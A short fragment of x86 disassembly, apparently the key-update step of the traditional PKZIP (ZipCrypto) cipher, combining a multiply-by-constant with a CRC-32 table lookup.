imul eax, eax, 0x8088405
inc eax
mov esi, edx
mov dword [ecx + 4], eax
and esi, 0xff
shr eax, 0x18
xor eax, esi
pop esi
shr edx, 8
mov eax, dword [eax*4 + 0x10027ee8]
xor eax, edx
mov dword [ecx + 8], eax
ret